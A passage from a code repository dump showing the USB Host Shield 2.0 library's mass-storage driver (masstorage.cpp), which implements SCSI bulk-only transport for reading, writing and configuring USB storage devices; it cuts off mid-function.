(uint64_t)BOVER3(__usc3__) | (uint64_t)BOVER4(__usc4__) | (uint64_t)BOVER5(__usc5__) | (uint64_t)BOVER6(__usc6__) | (uint64_t)BOVER1(__usc7__)))\n#endif\n\n/*\n * Debug macros: Strings are stored in progmem (flash) instead of RAM.\n */\n#define USBTRACE(s) (Notify(PSTR(s), 0x80))\n#define USBTRACE1(s,l) (Notify(PSTR(s), l))\n#define USBTRACE2(s,r) (Notify(PSTR(s), 0x80), D_PrintHex((r), 0x80), Notify(PSTR(\"\\r\\n\"), 0x80))\n#define USBTRACE3(s,r,l) (Notify(PSTR(s), l), D_PrintHex((r), l), Notify(PSTR(\"\\r\\n\"), l))\n\n\n#endif /* MACROS_H */\n\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/masstorage.cpp",
    "content": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis program is free software; you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation; either version 2 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program; if not, write to the Free Software\nFoundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n\nContact information\n-------------------\n\nCircuits At Home, LTD\nWeb      :  http://www.circuitsathome.com\ne-mail   :  support@circuitsathome.com\n */\n\n#include \"masstorage.h\"\n\nconst uint8_t BulkOnly::epDataInIndex = 1;\nconst uint8_t BulkOnly::epDataOutIndex = 2;\nconst uint8_t BulkOnly::epInterruptInIndex = 3;\n\n////////////////////////////////////////////////////////////////////////////////\n\n// Interface code\n\n////////////////////////////////////////////////////////////////////////////////\n\n/**\n * Get the capacity of the media\n *\n * @param lun Logical Unit Number\n * @return media capacity\n */\nuint32_t BulkOnly::GetCapacity(uint8_t lun) {\n        if(LUNOk[lun])\n                return CurrentCapacity[lun];\n        return 0LU;\n}\n\n/**\n * Get the sector (block) size used on the media\n *\n * @param lun Logical Unit Number\n * @return media sector size\n */\nuint16_t BulkOnly::GetSectorSize(uint8_t lun) {\n        if(LUNOk[lun])\n                return CurrentSectorSize[lun];\n        return 0U;\n}\n\n/**\n * Test if LUN is ready for use\n *\n * @param lun Logical Unit Number\n * @return true if LUN is ready for use\n */\nbool BulkOnly::LUNIsGood(uint8_t lun) {\n        return LUNOk[lun];\n}\n\n/**\n * Test if LUN is write protected\n *\n * @param lun Logical Unit Number\n * @return cached status of write protect switch\n */\nbool BulkOnly::WriteProtected(uint8_t lun) {\n        return WriteOk[lun];\n}\n\n/**\n * Wrap and execute a SCSI CDB with length of 6\n *\n * @param cdb CDB to execute\n * @param buf_size Size of expected transaction\n * @param buf Buffer\n * @param dir MASS_CMD_DIR_IN | MASS_CMD_DIR_OUT\n * @return\n */\nuint8_t BulkOnly::SCSITransaction6(CDB6_t *cdb, uint16_t buf_size, void *buf, uint8_t dir) {\n        // promote buf_size to 32bits.\n        CommandBlockWrapper cbw = CommandBlockWrapper(++dCBWTag, (uint32_t)buf_size, cdb, dir);\n        //SetCurLUN(cdb->LUN);\n        return (HandleSCSIError(Transaction(&cbw, buf_size, buf)));\n}\n\n/**\n * Wrap and execute a SCSI CDB with length of 10\n *\n * @param cdb CDB to execute\n * @param buf_size Size of expected transaction\n * @param buf Buffer\n * @param dir MASS_CMD_DIR_IN | MASS_CMD_DIR_OUT\n * @return\n */\nuint8_t BulkOnly::SCSITransaction10(CDB10_t *cdb, uint16_t buf_size, void *buf, uint8_t dir) {\n        // promote buf_size to 32bits.\n        CommandBlockWrapper cbw = CommandBlockWrapper(++dCBWTag, (uint32_t)buf_size, cdb, dir);\n        //SetCurLUN(cdb->LUN);\n        return (HandleSCSIError(Transaction(&cbw, buf_size, buf)));\n}\n\n/**\n * Lock or Unlock the tray or door on device.\n * Caution: Some devices with buggy firmware will lock up.\n *\n * @param lun Logical Unit Number\n * @param lock 1 to lock, 0 to unlock\n * @return\n */\nuint8_t BulkOnly::LockMedia(uint8_t lun, uint8_t lock) {\n        Notify(PSTR(\"\\r\\nLockMedia\\r\\n\"), 0x80);\n        Notify(PSTR(\"---------\\r\\n\"), 0x80);\n\n        CDB6_t cdb = CDB6_t(SCSI_CMD_PREVENT_REMOVAL, lun, (uint8_t)0, lock);\n        return SCSITransaction6(&cdb, (uint16_t)0, NULL, (uint8_t)MASS_CMD_DIR_IN);\n}\n\n/**\n * Media control, for spindle motor and media tray or door.\n * This includes CDROM, TAPE and anything with a media loader.\n *\n * @param lun Logical Unit Number\n * @param ctl 0x00 Stop Motor, 0x01 Start Motor, 0x02 Eject Media, 0x03 Load Media\n * @return 0 on success\n */\nuint8_t BulkOnly::MediaCTL(uint8_t lun, uint8_t ctl) {\n        Notify(PSTR(\"\\r\\nMediaCTL\\r\\n\"), 0x80);\n        Notify(PSTR(\"-----------------\\r\\n\"), 0x80);\n\n        uint8_t rcode = MASS_ERR_UNIT_NOT_READY;\n        if(bAddress) {\n                CDB6_t cdb = CDB6_t(SCSI_CMD_START_STOP_UNIT, lun, ctl & 0x03, 0);\n                rcode = SCSITransaction6(&cdb, (uint16_t)0, NULL, (uint8_t)MASS_CMD_DIR_OUT);\n        } else {\n                SetCurLUN(lun);\n        }\n        return rcode;\n}\n\n/**\n * Read data from media\n *\n * @param lun Logical Unit Number\n * @param addr LBA address on media to read\n * @param bsize size of a block (we should probably use the cached size)\n * @param blocks how many blocks to read\n * @param buf memory that is able to hold the requested data\n * @return 0 on success\n */\nuint8_t BulkOnly::Read(uint8_t lun, uint32_t addr, uint16_t bsize, uint8_t blocks, uint8_t *buf) {\n        if(!LUNOk[lun]) return MASS_ERR_NO_MEDIA;\n        Notify(PSTR(\"\\r\\nRead LUN:\\t\"), 0x80);\n        D_PrintHex<uint8_t > (lun, 0x90);\n        Notify(PSTR(\"\\r\\nLBA:\\t\\t\"), 0x90);\n        D_PrintHex<uint32_t > (addr, 0x90);\n        Notify(PSTR(\"\\r\\nblocks:\\t\\t\"), 0x90);\n        D_PrintHex<uint8_t > (blocks, 0x90);\n        Notify(PSTR(\"\\r\\nblock size:\\t\"), 0x90);\n        D_PrintHex<uint16_t > (bsize, 0x90);\n        Notify(PSTR(\"\\r\\n---------\\r\\n\"), 0x80);\n        CDB10_t cdb = CDB10_t(SCSI_CMD_READ_10, lun, blocks, addr);\n\nagain:\n        uint8_t er = SCSITransaction10(&cdb, ((uint16_t)bsize * blocks), buf, (uint8_t)MASS_CMD_DIR_IN);\n\n        if(er == MASS_ERR_STALL) {\n                MediaCTL(lun, 1);\n                delay(150);\n                if(!TestUnitReady(lun)) goto again;\n        }\n        return er;\n}\n\n/**\n * Write data to media\n *\n * @param lun Logical Unit Number\n * @param addr LBA address on media to write\n * @param bsize size of a block (we should probably use the cached size)\n * @param blocks how many blocks to write\n * @param buf memory that contains the data to write\n * @return 0 on success\n */\nuint8_t BulkOnly::Write(uint8_t lun, uint32_t addr, uint16_t bsize, uint8_t blocks, const uint8_t * buf) {\n        if(!LUNOk[lun]) return MASS_ERR_NO_MEDIA;\n        if(!WriteOk[lun]) return MASS_ERR_WRITE_PROTECTED;\n        Notify(PSTR(\"\\r\\nWrite LUN:\\t\"), 0x80);\n        D_PrintHex<uint8_t > (lun, 0x90);\n        Notify(PSTR(\"\\r\\nLBA:\\t\\t\"), 0x90);\n        D_PrintHex<uint32_t > (addr, 0x90);\n        Notify(PSTR(\"\\r\\nblocks:\\t\\t\"), 0x90);\n        D_PrintHex<uint8_t > (blocks, 0x90);\n        Notify(PSTR(\"\\r\\nblock size:\\t\"), 0x90);\n        D_PrintHex<uint16_t > (bsize, 0x90);\n        Notify(PSTR(\"\\r\\n---------\\r\\n\"), 0x80);\n        CDB10_t cdb = CDB10_t(SCSI_CMD_WRITE_10, lun, blocks, addr);\n\nagain:\n        uint8_t er = SCSITransaction10(&cdb, ((uint16_t)bsize * blocks), (void*)buf, (uint8_t)MASS_CMD_DIR_OUT);\n\n        if(er == MASS_ERR_WRITE_STALL) {\n                MediaCTL(lun, 1);\n                delay(150);\n                if(!TestUnitReady(lun)) goto again;\n        }\n        return er;\n}\n\n// End of user functions, the remaining code below is driver internals.\n// Only developer serviceable parts below!\n\n////////////////////////////////////////////////////////////////////////////////\n\n// Main driver code\n\n////////////////////////////////////////////////////////////////////////////////\n\nBulkOnly::BulkOnly(USB *p) :\npUsb(p),\nbAddress(0),\nbIface(0),\nbNumEP(1),\nqNextPollTime(0),\nbPollEnable(false),\n//dCBWTag(0),\nbLastUsbError(0) {\n        ClearAllEP();\n        dCBWTag = 0;\n        if(pUsb)\n                pUsb->RegisterDeviceClass(this);\n}\n\n/**\n * USB_ERROR_CONFIG_REQUIRES_ADDITIONAL_RESET == success\n * We need to standardize either the rcode, or change the API to return values\n * so a signal that additional actions are required can be produced.\n * Some of these codes do exist already.\n *\n * TECHNICAL: We could do most of this code elsewhere, with the exception of checking the class instance.\n * Doing so would save some program memory when using multiple drivers.\n *\n * @param parent USB address of parent\n * @param port address of port on parent\n * @param lowspeed true if device is low speed\n * @return\n */\nuint8_t BulkOnly::ConfigureDevice(uint8_t parent, uint8_t port, bool lowspeed) {\n\n        const uint8_t constBufSize = sizeof (USB_DEVICE_DESCRIPTOR);\n\n        uint8_t buf[constBufSize];\n        USB_DEVICE_DESCRIPTOR * udd = reinterpret_cast<USB_DEVICE_DESCRIPTOR*>(buf);\n        uint8_t rcode;\n        UsbDevice *p = NULL;\n        EpInfo *oldep_ptr = NULL;\n        USBTRACE(\"MS ConfigureDevice\\r\\n\");\n        ClearAllEP();\n        AddressPool &addrPool = pUsb->GetAddressPool();\n\n\n        if(bAddress)\n                return USB_ERROR_CLASS_INSTANCE_ALREADY_IN_USE;\n\n        // <TECHNICAL>\n        // Get pointer to pseudo device with address 0 assigned\n        p = addrPool.GetUsbDevicePtr(0);\n        if(!p) {\n                return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;\n        }\n\n        if(!p->epinfo) {\n                USBTRACE(\"epinfo\\r\\n\");\n                return USB_ERROR_EPINFO_IS_NULL;\n        }\n\n        // Save old pointer to EP_RECORD of address 0\n        oldep_ptr = p->epinfo;\n\n        // Temporary assign new pointer to epInfo to p->epinfo in order to avoid toggle inconsistence\n        p->epinfo = epInfo;\n\n        p->lowspeed = lowspeed;\n        // Get device descriptor\n        rcode = pUsb->getDevDescr(0, 0, constBufSize, (uint8_t*)buf);\n\n        // Restore p->epinfo\n        p->epinfo = oldep_ptr;\n\n        if(rcode) {\n                goto FailGetDevDescr;\n        }\n        // Allocate new address according to device class\n        bAddress = addrPool.AllocAddress(parent, false, port);\n\n        if(!bAddress)\n                return USB_ERROR_OUT_OF_ADDRESS_SPACE_IN_POOL;\n\n        // Extract Max Packet Size from the device descriptor\n        epInfo[0].maxPktSize = udd->bMaxPacketSize0;\n        // Steal and abuse from epInfo structure to save on memory.\n        epInfo[1].epAddr = udd->bNumConfigurations;\n        // </TECHNICAL>\n        return USB_ERROR_CONFIG_REQUIRES_ADDITIONAL_RESET;\n\nFailGetDevDescr:\n#ifdef DEBUG_USB_HOST\n        NotifyFailGetDevDescr(rcode);\n#endif\n        rcode = USB_ERROR_FailGetDevDescr;\n\n        Release();\n        return rcode;\n};\n\n/**\n *\n * @param parent (not used)\n * @param port (not used)\n * @param lowspeed true if device is low speed\n * @return 0 for success\n */\nuint8_t BulkOnly::Init(uint8_t parent __attribute__((unused)), uint8_t port __attribute__((unused)), bool lowspeed) {\n        uint8_t rcode;\n        uint8_t num_of_conf = epInfo[1].epAddr; // number of configurations\n        epInfo[1].epAddr = 0;\n        USBTRACE(\"MS Init\\r\\n\");\n\n        AddressPool &addrPool = pUsb->GetAddressPool();\n        UsbDevice *p = addrPool.GetUsbDevicePtr(bAddress);\n\n        if(!p)\n                return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;\n\n        // Assign new address to the device\n        delay(2000);\n        rcode = pUsb->setAddr(0, 0, bAddress);\n\n        if(rcode) {\n                p->lowspeed = false;\n                addrPool.FreeAddress(bAddress);\n                bAddress = 0;\n                USBTRACE2(\"setAddr:\", rcode);\n                return rcode;\n        }\n\n        USBTRACE2(\"Addr:\", bAddress);\n\n        p->lowspeed = false;\n\n        p = addrPool.GetUsbDevicePtr(bAddress);\n\n        if(!p)\n                return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;\n\n        p->lowspeed = lowspeed;\n\n        // Assign epInfo to epinfo pointer\n        rcode = pUsb->setEpInfoEntry(bAddress, 1, epInfo);\n\n        if(rcode)\n                goto FailSetDevTblEntry;\n\n        USBTRACE2(\"NC:\", num_of_conf);\n\n        for(uint8_t i = 0; i < num_of_conf; i++) {\n                ConfigDescParser< USB_CLASS_MASS_STORAGE,\n                        MASS_SUBCLASS_SCSI,\n                        MASS_PROTO_BBB,\n                        CP_MASK_COMPARE_CLASS |\n                        CP_MASK_COMPARE_SUBCLASS |\n                        CP_MASK_COMPARE_PROTOCOL > BulkOnlyParser(this);\n\n                rcode = pUsb->getConfDescr(bAddress, 0, i, &BulkOnlyParser);\n\n                if(rcode)\n                        goto FailGetConfDescr;\n\n                if(bNumEP > 1)\n                        break;\n        }\n\n        if(bNumEP < 3)\n                return USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED;\n\n        // Assign epInfo to epinfo pointer\n        pUsb->setEpInfoEntry(bAddress, bNumEP, epInfo);\n\n        USBTRACE2(\"Conf:\", bConfNum);\n\n        // Set Configuration Value\n        rcode = pUsb->setConf(bAddress, 0, bConfNum);\n\n        if(rcode)\n                goto FailSetConfDescr;\n\n        //Linux does a 1sec delay after this.\n        delay(1000);\n\n        rcode = GetMaxLUN(&bMaxLUN);\n        if(rcode)\n                goto FailGetMaxLUN;\n\n        if(bMaxLUN >= MASS_MAX_SUPPORTED_LUN) bMaxLUN = MASS_MAX_SUPPORTED_LUN - 1;\n        ErrorMessage<uint8_t > (PSTR(\"MaxLUN\"), bMaxLUN);\n\n        delay(1000); // Delay a bit for slow firmware.\n\n        for(uint8_t lun = 0; lun <= bMaxLUN; lun++) {\n                InquiryResponse response;\n                rcode = Inquiry(lun, sizeof (InquiryResponse), (uint8_t*) & response);\n                if(rcode) {\n                        ErrorMessage<uint8_t > (PSTR(\"Inquiry\"), rcode);\n                } else {\n#if 0\n                        printf(\"LUN %i `\", lun);\n                        uint8_t *buf = response.VendorID;\n                        for(int i = 0; i < 28; i++) printf(\"%c\", buf[i]);\n                        printf(\"'\\r\\nQualifier %1.1X \", response.PeripheralQualifier);\n                        printf(\"Device type %2.2X \", response.DeviceType);\n                        printf(\"RMB %1.1X \", response.Removable);\n                        printf(\"SSCS %1.1X \", response.SCCS);\n                        uint8_t sv = response.Version;\n                        printf(\"SCSI version %2.2X\\r\\nDevice conforms to \", sv);\n                        switch(sv) {\n                                case 0:\n                                        printf(\"No specific\");\n                                        break;\n                                case 1:\n                                        printf(\"ANSI X3.131-1986 (ANSI 1)\");\n                                        break;\n                                case 2:\n                                        printf(\"ANSI X3.131-1994 (ANSI 2)\");\n                                        break;\n                                case 3:\n                                        printf(\"ANSI INCITS 301-1997 (SPC)\");\n                                        break;\n                                case 4:\n                                        printf(\"ANSI INCITS 351-2001 (SPC-2)\");\n                                        break;\n                                case 5:\n                                        printf(\"ANSI INCITS 408-2005 (SPC-4)\");\n                                        break;\n                                case 6:\n                                        printf(\"T10/1731-D (SPC-4)\");\n                                        break;\n                                default:\n                                        printf(\"unknown\");\n                        }\n                        printf(\" standards.\\r\\n\");\n#endif\n                        uint8_t tries = 0xf0;\n                        while((rcode = TestUnitReady(lun))) {\n                                if(rcode == 0x08) break; // break on no media, this is OK to do.\n                                // try to lock media and spin up\n                                if(tries < 14) {\n                                        LockMedia(lun, 1);\n                                        MediaCTL(lun, 1); // I actually have a USB stick that needs this!\n                                } else delay(2 * (tries + 1));\n                                tries++;\n                                if(!tries) break;\n                        }\n                        if(!rcode) {\n                                delay(1000);\n                                LUNOk[lun] = CheckLUN(lun);\n                                if(!LUNOk[lun]) LUNOk[lun] = CheckLUN(lun);\n                        }\n                }\n        }\n\n\n        CheckMedia();\n\n        rcode = OnInit();\n\n        if(rcode)\n                goto FailOnInit;\n\n#ifdef DEBUG_USB_HOST\n        USBTRACE(\"MS configured\\r\\n\\r\\n\");\n#endif\n\n        bPollEnable = true;\n\n        //USBTRACE(\"Poll enabled\\r\\n\");\n        return 0;\n\nFailSetConfDescr:\n#ifdef DEBUG_USB_HOST\n        NotifyFailSetConfDescr();\n        goto Fail;\n#endif\n\nFailOnInit:\n#ifdef DEBUG_USB_HOST\n        USBTRACE(\"OnInit:\");\n        goto Fail;\n#endif\n\nFailGetMaxLUN:\n#ifdef DEBUG_USB_HOST\n        USBTRACE(\"GetMaxLUN:\");\n        goto Fail;\n#endif\n\n        //#ifdef DEBUG_USB_HOST\n        //FailInvalidSectorSize:\n        //        USBTRACE(\"Sector Size is NOT VALID: \");\n        //        goto Fail;\n        //#endif\n\nFailSetDevTblEntry:\n#ifdef DEBUG_USB_HOST\n        NotifyFailSetDevTblEntry();\n        goto Fail;\n#endif\n\nFailGetConfDescr:\n#ifdef DEBUG_USB_HOST\n        NotifyFailGetConfDescr();\n#endif\n\n#ifdef DEBUG_USB_HOST\nFail:\n        NotifyFail(rcode);\n#endif\n        Release();\n        return rcode;\n}\n\n/**\n * For driver use only.\n *\n * @param conf\n * @param iface\n * @param alt\n * @param proto\n * @param pep\n */\nvoid BulkOnly::EndpointXtract(uint8_t conf, uint8_t iface, uint8_t alt, uint8_t proto __attribute__((unused)), const USB_ENDPOINT_DESCRIPTOR * pep) {\n        ErrorMessage<uint8_t > (PSTR(\"Conf.Val\"), conf);\n        ErrorMessage<uint8_t > (PSTR(\"Iface Num\"), iface);\n        ErrorMessage<uint8_t > (PSTR(\"Alt.Set\"), alt);\n\n        bConfNum = conf;\n\n        uint8_t index;\n\n#if 1\n        if((pep->bmAttributes & bmUSB_TRANSFER_TYPE) == USB_TRANSFER_TYPE_BULK) {\n                index = ((pep->bEndpointAddress & 0x80) == 0x80) ? epDataInIndex : epDataOutIndex;\n                // Fill in the endpoint info structure\n                epInfo[index].epAddr = (pep->bEndpointAddress & 0x0F);\n                epInfo[index].maxPktSize = (uint8_t)pep->wMaxPacketSize;\n                epInfo[index].bmSndToggle = 0;\n                epInfo[index].bmRcvToggle = 0;\n\n                bNumEP++;\n\n                PrintEndpointDescriptor(pep);\n\n        }\n#else\n        if((pep->bmAttributes & bmUSB_TRANSFER_TYPE) == USB_TRANSFER_TYPE_INTERRUPT && (pep->bEndpointAddress & 0x80) == 0x80)\n                index = epInterruptInIndex;\n        else if((pep->bmAttributes & bmUSB_TRANSFER_TYPE) == USB_TRANSFER_TYPE_BULK)\n                index = ((pep->bEndpointAddress & 0x80) == 0x80) ? epDataInIndex : epDataOutIndex;\n        else\n                return;\n\n        // Fill in the endpoint info structure\n        epInfo[index].epAddr = (pep->bEndpointAddress & 0x0F);\n        epInfo[index].maxPktSize = (uint8_t)pep->wMaxPacketSize;\n        epInfo[index].bmSndToggle = 0;\n        epInfo[index].bmRcvToggle = 0;\n\n        bNumEP++;\n\n        PrintEndpointDescriptor(pep);\n#endif\n}\n\n/**\n * For driver use only.\n *\n * @return\n */\nuint8_t BulkOnly::Release() {\n        ClearAllEP();\n        pUsb->GetAddressPool().FreeAddress(bAddress);\n        return 0;\n}\n\n/**\n * For driver use only.\n *\n * @param lun Logical Unit Number\n * @return true if LUN is ready for use.\n */\nbool BulkOnly::CheckLUN(uint8_t lun) {\n        uint8_t rcode;\n        Capacity capacity;\n        for(uint8_t i = 0; i < 8; i++) capacity.data[i] = 0;\n\n        rcode = ReadCapacity10(lun, (uint8_t*)capacity.data);\n        if(rcode) {\n                //printf(\">>>>>>>>>>>>>>>>ReadCapacity returned %i\\r\\n\", rcode);\n                return false;\n        }\n        ErrorMessage<uint8_t > (PSTR(\">>>>>>>>>>>>>>>>CAPACITY OK ON LUN\"), lun);\n        for(uint8_t i = 0; i < 8 /*sizeof (Capacity)*/; i++)\n                D_PrintHex<uint8_t > (capacity.data[i], 0x80);\n        Notify(PSTR(\"\\r\\n\\r\\n\"), 0x80);\n        // Only 512/1024/2048/4096 are valid values!\n        uint32_t c = BMAKE32(capacity.data[4], capacity.data[5], capacity.data[6], capacity.data[7]);\n        if(c != 0x0200LU && c != 0x0400LU && c != 0x0800LU && c != 0x1000LU) {\n                return false;\n        }\n        // Store capacity information.\n        CurrentSectorSize[lun] = (uint16_t)(c); // & 0xFFFF);\n\n        CurrentCapacity[lun] = BMAKE32(capacity.data[0], capacity.data[1], capacity.data[2], capacity.data[3]) + 1;\n        if(CurrentCapacity[lun] == /*0xffffffffLU */ 0x01LU || CurrentCapacity[lun] == 0x00LU) {\n                // Buggy firmware will report 0xffffffff or 0 for no media\n                if(CurrentCapacity[lun])\n                        ErrorMessage<uint8_t > (PSTR(\">>>>>>>>>>>>>>>>BUGGY FIRMWARE. CAPACITY FAIL ON LUN\"), lun);\n                return false;\n        }\n        delay(20);\n        Page3F(lun);\n        if(!TestUnitReady(lun)) return true;\n        return false;\n}\n\n/**\n * For driver use only.\n *\n * Scan for media change on all LUNs\n */\nvoid BulkOnly::CheckMedia() {\n        for(uint8_t lun = 0; lun <= bMaxLUN; lun++) {\n                if(TestUnitReady(lun)) {\n                        LUNOk[lun] = false;\n                        continue;\n                }\n                if(!LUNOk[lun])\n                        LUNOk[lun] = CheckLUN(lun);\n        }\n#if 0\n        printf(\"}}}}}}}}}}}}}}}}STATUS \");\n        for(uint8_t lun = 0; lun <= bMaxLUN; lun++) {\n                if(LUNOk[lun])\n                        printf(\"#\");\n                else printf(\".\");\n        }\n        printf(\"\\r\\n\");\n#endif\n        qNextPollTime = (uint32_t)millis() + 2000;\n}\n\n/**\n * For driver use only.\n *\n * @return\n */\nuint8_t BulkOnly::Poll() {\n        //uint8_t rcode = 0;\n\n        if(!bPollEnable)\n                return 0;\n\n        if((int32_t)((uint32_t)millis() - qNextPollTime) >= 0L) {\n                CheckMedia();\n        }\n        //rcode = 0;\n\n        return 0;\n}\n\n////////////////////////////////////////////////////////////////////////////////\n\n\n// SCSI code\n\n\n////////////////////////////////////////////////////////////////////////////////\n\n/**\n * For driver use only.\n *\n * @param plun\n * @return\n */\nuint8_t BulkOnly::GetMaxLUN(uint8_t *plun) {\n        uint8_t ret = pUsb->ctrlReq(bAddress, 0, bmREQ_MASSIN, MASS_REQ_GET_MAX_LUN, 0, 0, bIface, 1, 1, plun, NULL);\n\n        if(ret == hrSTALL)\n                *plun = 0;\n\n        return 0;\n}\n\n/**\n * For driver use only. Used during Driver Init\n *\n * @param lun Logical Unit Number\n * @param bsize\n * @param buf\n * @return\n */\nuint8_t BulkOnly::Inquiry(uint8_t lun, uint16_t bsize, uint8_t *buf) {\n        Notify(PSTR(\"\\r\\nInquiry\\r\\n\"), 0x80);\n        Notify(PSTR(\"---------\\r\\n\"), 0x80);\n\n        CDB6_t cdb = CDB6_t(SCSI_CMD_INQUIRY, lun, 0LU, (uint8_t)bsize, 0);\n        uint8_t rc = SCSITransaction6(&cdb, bsize, buf, (uint8_t)MASS_CMD_DIR_IN);\n\n        return rc;\n}\n\n/**\n * For driver use only.\n *\n * @param lun Logical Unit Number\n * @return\n */\nuint8_t BulkOnly::TestUnitReady(uint8_t lun) {\n        //SetCurLUN(lun);\n        if(!bAddress)\n                return MASS_ERR_UNIT_NOT_READY;\n\n        Notify(PSTR(\"\\r\\nTestUnitReady\\r\\n\"), 0x80);\n        Notify(PSTR(\"-----------------\\r\\n\"), 0x80);\n\n        CDB6_t cdb = CDB6_t(SCSI_CMD_TEST_UNIT_READY, lun, (uint8_t)0, 0);\n        return SCSITransaction6(&cdb, 0, NULL, (uint8_t)MASS_CMD_DIR_IN);\n\n}\n\n/**\n * For driver use only.\n *\n * @param lun Logical Unit Number\n * @param pc\n * @param page\n * @param subpage\n * @param len\n * @param pbuf\n * @return\n */\nuint8_t BulkOnly::ModeSense6(uint8_t lun, uint8_t pc, uint8_t page, uint8_t subpage, uint8_t len, uint8_t * pbuf) {\n        Notify(PSTR(\"\\r\\rModeSense\\r\\n\"), 0x80);\n        Notify(PSTR(\"------------\\r\\n\"), 0x80);\n\n        CDB6_t cdb = CDB6_t(SCSI_CMD_MODE_SENSE_6, lun, (uint32_t)((((pc << 6) | page) << 8) | subpage), len, 0);\n        return SCSITransaction6(&cdb, len, pbuf, (uint8_t)MASS_CMD_DIR_IN);\n}\n\n/**\n * For driver use only.\n *\n * @param lun Logical Unit Number\n * @param bsize\n * @param buf\n * @return\n */\nuint8_t BulkOnly::ReadCapacity10(uint8_t lun, uint8_t *buf) {\n        Notify(PSTR(\"\\r\\nReadCapacity\\r\\n\"), 0x80);\n        Notify(PSTR(\"---------------\\r\\n\"), 0x80);\n\n        CDB10_t cdb = CDB10_t(SCSI_CMD_READ_CAPACITY_10, lun);\n        return SCSITransaction10(&cdb, 8, buf, (uint8_t)MASS_CMD_DIR_IN);\n}\n\n/**\n * For driver use only.\n *\n * Page 3F contains write protect status.\n *\n * @param lun Logical Unit Number to test.\n * @return Write protect switch status.\n */\nuint8_t BulkOnly::Page3F(uint8_t lun) {\n        uint8_t buf[192];\n        for(int i = 0; i < 192; i++) {\n                buf[i] = 0x00;\n        }\n        WriteOk[lun] = true;\n        uint8_t rc = ModeSense6(lun, 0, 0x3f, 0, 192, buf);\n        if(!rc) {\n                WriteOk[lun] = ((buf[2] & 0x80) == 0);\n                Notify(PSTR(\"Mode Sense: \"), 0x80);\n                for(int i = 0; i < 4; i++) {\n                        D_PrintHex<uint8_t > (buf[i], 0x80);\n                        Notify(PSTR(\" \"), 0x80);\n                }\n                Notify(PSTR(\"\\r\\n\"), 0x80);\n        }\n        return rc;\n}\n\n/**\n * For driver use only.\n *\n * @param lun Logical Unit Number\n * @param size\n * @param buf\n * @return\n */\nuint8_t BulkOnly::RequestSense(uint8_t lun, uint16_t size, uint8_t *buf) {\n        Notify(PSTR(\"\\r\\nRequestSense\\r\\n\"), 0x80);\n        Notify(PSTR(\"----------------\\r\\n\"), 0x80);\n\n        CDB6_t cdb = CDB6_t(SCSI_CMD_REQUEST_SENSE, lun, 0LU, (uint8_t)size, 0);\n        CommandBlockWrapper cbw = CommandBlockWrapper(++dCBWTag, (uint32_t)size, &cdb, (uint8_t)MASS_CMD_DIR_IN);\n        //SetCurLUN(lun);\n        return Transaction(&cbw, size, buf);\n}\n\n\n////////////////////////////////////////////////////////////////////////////////\n\n\n// USB code\n\n\n////////////////////////////////////////////////////////////////////////////////\n\n/**\n * For driver use only.\n *\n * @param index\n * @return\n */\nuint8_t BulkOnly::ClearEpHalt(uint8_t index) {\n        if(index == 0)\n                return 0;\n\n        uint8_t ret = 0;\n\n        while((ret = (pUsb->ctrlReq(bAddress, 0, USB_SETUP_HOST_TO_DEVICE | USB_SETUP_TYPE_STANDARD | USB_SETUP_RECIPIENT_ENDPOINT, USB_REQUEST_CLEAR_FEATURE, USB_FEATURE_ENDPOINT_HALT, 0, ((index == epDataInIndex) ? (0x80 | epInfo[index].epAddr) : epInfo[index].epAddr), 0, 0, NULL, NULL)) == 0x01))\n                delay(6);\n\n        if(ret) {\n                ErrorMessage<uint8_t > (PSTR(\"ClearEpHalt\"), ret);\n                ErrorMessage<uint8_t > (PSTR(\"EP\"), ((index == epDataInIndex) ? (0x80 | epInfo[index].epAddr) : epInfo[index].epAddr));\n                return ret;\n        }\n        epInfo[index].bmSndToggle = 0;\n        epInfo[index].bmRcvToggle = 0;\n        return 0;\n}\n\n/**\n * For driver use only.\n *\n */\nvoid BulkOnly::Reset() {\n        while(pUsb->ctrlReq(bAddress, 0, bmREQ_MASSOUT, MASS_REQ_BOMSR, 0, 0, bIface, 0, 0, NULL, NULL) == 0x01) delay(6);\n}\n\n/**\n * For driver use only.\n *\n * @return 0 if successful\n */\nuint8_t BulkOnly::ResetRecovery() {\n        Notify(PSTR(\"\\r\\nResetRecovery\\r\\n\"), 0x80);\n        Notify(PSTR(\"-----------------\\r\\n\"), 0x80);\n\n        delay(6);\n        Reset();\n        delay(6);\n        ClearEpHalt(epDataInIndex);\n        delay(6);\n        bLastUsbError = ClearEpHalt(epDataOutIndex);\n        delay(6);\n        return bLastUsbError;\n}\n\n/**\n * For driver use only.\n *\n * Clear all EP data and clear all LUN status\n */\nvoid BulkOnly::ClearAllEP() {\n        for(uint8_t i = 0; i < MASS_MAX_ENDPOINTS; i++) {\n                epInfo[i].epAddr = 0;\n                epInfo[i].maxPktSize = (i) ? 0 : 8;\n                epInfo[i].bmSndToggle = 0;\n                epInfo[i].bmRcvToggle = 0;\n                epInfo[i].bmNakPower = USB_NAK_DEFAULT;\n        }\n\n        for(uint8_t i = 0; i < MASS_MAX_SUPPORTED_LUN; i++) {\n                LUNOk[i] = false;\n                WriteOk[i] = false;\n                CurrentCapacity[i] = 0lu;\n                CurrentSectorSize[i] = 0;\n        }\n\n        bIface = 0;\n        bNumEP = 1;\n        bAddress = 0;\n        qNextPollTime = 0;\n        bPollEnable = false;\n        bLastUsbError = 0;\n        bMaxLUN = 0;\n        bTheLUN = 0;\n}\n\n/**\n * For driver use only.\n *\n * @param pcsw\n * @param pcbw\n * @return\n */\nbool BulkOnly::IsValidCSW(CommandStatusWrapper *pcsw, CommandBlockWrapperBase *pcbw) {\n        if(pcsw->dCSWSignature != MASS_CSW_SIGNATURE) {\n                Notify(PSTR(\"CSW:Sig error\\r\\n\"), 0x80);\n                return false;\n        }\n        if(pcsw->dCSWTag != 